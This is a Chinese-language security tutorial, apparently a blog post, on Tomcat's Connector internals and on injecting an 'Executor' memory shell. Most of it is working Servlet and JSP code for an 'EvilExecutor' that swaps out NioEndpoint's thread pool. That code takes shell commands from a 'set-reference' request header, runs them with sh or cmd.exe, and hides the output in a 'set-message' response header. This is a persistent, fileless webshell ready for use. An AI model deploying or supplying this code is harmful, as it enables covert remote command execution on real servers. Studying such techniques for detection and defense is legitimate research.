Tomcat MemoryShell Of Executor

Preparation

之前学习的传统Web应用型内存马都是基于Container的,本文来学习一下基于Connector的内存马注入。

下图中展示了Connector的构成,Connector主要由ProtocolHandler与Adapter构成,ProtocolHandler主要由Endpoint与Processor组成。

ProtocolHandler分类如下:

Endpoint是ProtocolHandler的组成之一,而NioEndpoint是Http11NioProtocl中的实现。Endpoint五大组件:

  • LimitLatch:连接控制器,负责控制最大的连接数,如果超过了此连接,Tomcat会将此连接线程阻塞等待,等里面有其他连接释放了再消费此连接;

  • Acceptor:负责接收新的连接,然后返回一个Channel对象给Poller;

  • Poller:可以将其看成是Nio中Selector,负责监控Channel的状态;

  • SocketProcessor:可以看成是一个被封装的任务类;

  • Executor:Tomcat自己扩展的线程池,用来执行任务类。

Process Analysis

跟进一下Executor组件,跟进一下其execute方法在哪实现的。

跟进org.apache.catalina.core.StandardThreadExecutor#execute方法,当executor不为null时,其会调用executor的execute方法。

跟进org.apache.tomcat.util.threads.ThreadPoolExecutor#execute方法,因此,假设能创建一个继承ThreadPoolExecutor的恶意Executor,并重写其中的execute方法,那么在调用该方法的时候将能够执行恶意代码。

有了上面的思路,现在的重点在于如何将属性executor设置为创建的恶意Executor。跟进org.apache.tomcat.util.net.AbstractEndpoint#setExecutor方法,利用该方法可以将原本的Exector置换为创建的恶意Exector。

现在知道了如何创建恶意的Executor和如何修改属性executor为恶意的Executor,获取Request和Response又成为了现在的重点,这里利用工具java-object-searcher来获取Request对象。搜索的语法如下:

1
2
3
4
5
6
7
8
9
10
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Response").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("/Users/alphag0/Desktop");
searcher.searchObject();

利用该工具可以找到一处位于NioEndpoint中的nioChannels的appReadBufHandler,其中的Buffer存放着所需要的request(利用点不唯一)。

通过层层反射来获取Buffer的值:

1
2
3
4
5
6
7
8
9
10
11
TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [14] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> nioChannels = {org.apache.tomcat.util.collections.SynchronizedStack}
---> stack = {class [Ljava.lang.Object;}
---> [0] = {org.apache.tomcat.util.net.NioChannel}
---> appReadBufHandler = {org.apache.coyote.http11.Http11InputBuffer}
---> request = {org.apache.coyote.Request}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package servlet;

import org.apache.coyote.http11.Http11InputBuffer;
import org.apache.tomcat.util.collections.SynchronizedStack;
import org.apache.tomcat.util.net.NioEndpoint;

import javax.servlet.ServletConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;

@WebServlet(name = "ExecutorServlet", value = "/ExecutorServlet")
public class ExecutorServlet extends HelloServlet {
@Override
public void init(ServletConfig config) {
};

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
try {
Field field = ThreadGroup.class.getDeclaredField("threads");
field.setAccessible(true);
Thread[] threads = (Thread[]) field.get(Thread.currentThread().getThreadGroup());
for (Thread thread : threads) {
if (!thread.getName().contains("exec") && thread.getName().contains("Acceptor")) {
Field field1 = Thread.class.getDeclaredField("target");
field1.setAccessible(true);
Object pollor = field1.get(thread);
Field field7 = pollor.getClass().getDeclaredField("endpoint");
field7.setAccessible(true);
NioEndpoint nioEndpoint1 = (NioEndpoint) field7.get(pollor);
Field field8 = nioEndpoint1.getClass().getDeclaredField("poller");
field8.setAccessible(true);
Object o = field8.get(nioEndpoint1);
Field field2 = o.getClass().getDeclaredField("this$0");
field2.setAccessible(true);
NioEndpoint nioEndpoint = (NioEndpoint) field2.get(o);
Field field3 = NioEndpoint.class.getDeclaredField("nioChannels");
field3.setAccessible(true);
SynchronizedStack synchronizedStack = (SynchronizedStack) field3.get(nioEndpoint);
Field field4 = SynchronizedStack.class.getDeclaredField("stack");
field4.setAccessible(true);
Object[] object = (Object[]) field4.get(synchronizedStack);
Field field5 = object[0].getClass().getDeclaredField("appReadBufHandler");
field5.setAccessible(true);
Http11InputBuffer appReadBufHandler = (Http11InputBuffer) field5.get(object[0]);
Field field6 = appReadBufHandler.getClass().getDeclaredField("byteBuffer");
field6.setAccessible(true);
ByteBuffer byteBuffer = (ByteBuffer) field6.get(appReadBufHandler);
String s = new String(byteBuffer.array(), "UTF-8");
System.out.println(s);
}
}
} catch (NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
}
}

现在解决了接收Request的问题,接下来来解决回显的问题。寻找Response对象依旧可以采用同样的方式来进行查找,这里我采用下断点的方式来寻找可以利用的Response对象,这里在上文获取Request对象的Demo完成后的Response中下一个断点,然后去寻找可以利用的Response对象。

这里通过层层反射,往获取到的Response对象的header中添加命令执行的回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package servlet;

import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.Response;
import org.apache.coyote.http11.Http11InputBuffer;
import org.apache.tomcat.util.collections.SynchronizedStack;
import org.apache.tomcat.util.net.AbstractEndpoint;
import org.apache.tomcat.util.net.NioEndpoint;

import javax.servlet.ServletConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.ArrayList;

@WebServlet(name = "ExecutorServlet", value = "/ExecutorServlet")
public class ExecutorServlet extends HelloServlet {
@Override
public void init(ServletConfig config) {
};

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
response.getWriter().write("Executor Inject Successfully...");
try {
Field field1 = ThreadGroup.class.getDeclaredField("threads");
field1.setAccessible(true);
Thread[] threads1 = (Thread[]) field1.get(Thread.currentThread().getThreadGroup());
for (Thread thread : threads1) {
if (!thread.getName().contains("exec") && thread.getName().contains("Poller")) {
Field field2 = thread.getClass().getDeclaredField("target");
field2.setAccessible(true);
Object target = field2.get(thread);
if (target instanceof Runnable) {
try {
Field field9 = target.getClass().getDeclaredField("this$0");
field9.setAccessible(true);
NioEndpoint nioEndpoint = (NioEndpoint) field9.get(target);
Field field4 = AbstractEndpoint.class.getDeclaredField("handler");
// Field field4 = AbstractProtocol.class.getDeclaredField("handler");
field4.setAccessible(true);
Object handler = field4.get(nioEndpoint);
Field field5 = handler.getClass().getDeclaredField("global");
field5.setAccessible(true);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) field5.get(handler);
Field field6 = requestGroupInfo.getClass().getDeclaredField("processors");
field6.setAccessible(true);
ArrayList arrayList = (ArrayList) field6.get(requestGroupInfo);
for (Object o : arrayList) {
Field field7 = o.getClass().getDeclaredField("req");
field7.setAccessible(true);
Request request1 = (Request) field7.get(o);
Field field8 = request1.getClass().getDeclaredField("response");
field8.setAccessible(true);
Response response1 = (Response) field8.get(request1);
response1.addHeader("Attack", new String("H3rmesk1t".getBytes(), "UTF-8"));
System.out.println(response1);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
}
}

Achievement

Idea

动态全局替换Executor内存马的具体思路如下:

  • 首先获取对应的NioEndpoint;
  • 获取对应的executor属性;
  • 创建一个恶意的executor;
  • 将恶意的executor传入。

Dynamic Registration

Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
package servlet;

import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response;
import org.apache.tomcat.util.net.NioEndpoint;
import org.apache.tomcat.util.threads.ThreadPoolExecutor;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.concurrent.*;

@WebServlet(name = "ExecutorMemoryShellServlet", value = "/ExecutorMemoryShellServlet")
public class ExecutorMemoryShellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
super.doGet(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
ThreadPoolExecutor executor = (ThreadPoolExecutor) nioEndpoint.getExecutor();
nioEndpoint.setExecutor(new EvilExecutor(executor.getCorePoolSize(), executor.getMaximumPoolSize(),
executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(),
executor.getThreadFactory()));
response.getWriter().write("Executor Inject Successfully...");
}

public Object getField(Object obj, String field) {
Class clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field declaredField = clazz.getDeclaredField(field);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}

public Object getNioEndpoint() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
try {
if (thread.getName().contains("Poller")) {
Object target = getField(thread, "target");
return getField(target, "this$0");
}
} catch (Exception e) {
e.printStackTrace();
}
}
return new Object();
}

class EvilExecutor extends ThreadPoolExecutor {
public EvilExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory);
}
public String getRequest() {
try {
Object nioEndpoint = getNioEndpoint();
Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String req = new String(heapByteBuffer.array(), StandardCharsets.UTF_8);
String cmd = req.substring(req.indexOf("set-reference") + "set-reference".length() + 1, req.indexOf("\r", req.indexOf("set-reference")) - 1);
return cmd;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

public void getResponse(byte[] res) {
try {
Object nioEndpoint = getNioEndpoint();
ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");
for (Object processor : processors) {
RequestInfo requestInfo = (RequestInfo) processor;
Response response = (Response) getField(getField(requestInfo, "req"), "response");
response.addHeader("set-message", new String(res, StandardCharsets.UTF_8));
}
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void execute(Runnable command) {
String cmd = getRequest();
try {
if (cmd != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
getResponse(output.getBytes());
}
} catch (Exception e) {
e.printStackTrace();
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
}

JSP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
public Object getField(Object obj, String field) {
Class clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field declaredField = clazz.getDeclaredField(field);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}

public Object getNioEndpoint() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
try {
if (thread.getName().contains("Poller")) {
Object target = getField(thread, "target");
return getField(target, "this$0");
}
} catch (Exception e) {
e.printStackTrace();
}
}
return new Object();
}

class EvilExecutor extends ThreadPoolExecutor {
public EvilExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory);
}

public String getRequest() {
try {
Object nioEndpoint = getNioEndpoint();
Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String req = new String(heapByteBuffer.array(), StandardCharsets.UTF_8);
String cmd = req.substring(req.indexOf("set-reference") + "set-reference".length() + 1, req.indexOf("\r", req.indexOf("set-reference")) - 1);
return cmd;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

public void getResponse(byte[] res) {
try {
Object nioEndpoint = getNioEndpoint();
ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");
for (Object processor : processors) {
RequestInfo requestInfo = (RequestInfo) processor;
Response response = (Response) getField(getField(requestInfo, "req"), "response");
response.addHeader("set-message", new String(res, StandardCharsets.UTF_8));
}
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void execute(Runnable command) {
String cmd = getRequest();
try {
if (cmd != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
getResponse(output.getBytes());
}
} catch (Exception e) {
e.printStackTrace();
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>

<%
NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
ThreadPoolExecutor executor = (ThreadPoolExecutor) nioEndpoint.getExecutor();
nioEndpoint.setExecutor(new EvilExecutor(executor.getCorePoolSize(), executor.getMaximumPoolSize(),
executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(),
executor.getThreadFactory()));
response.getWriter().write("Executor Inject Successfully...");
%>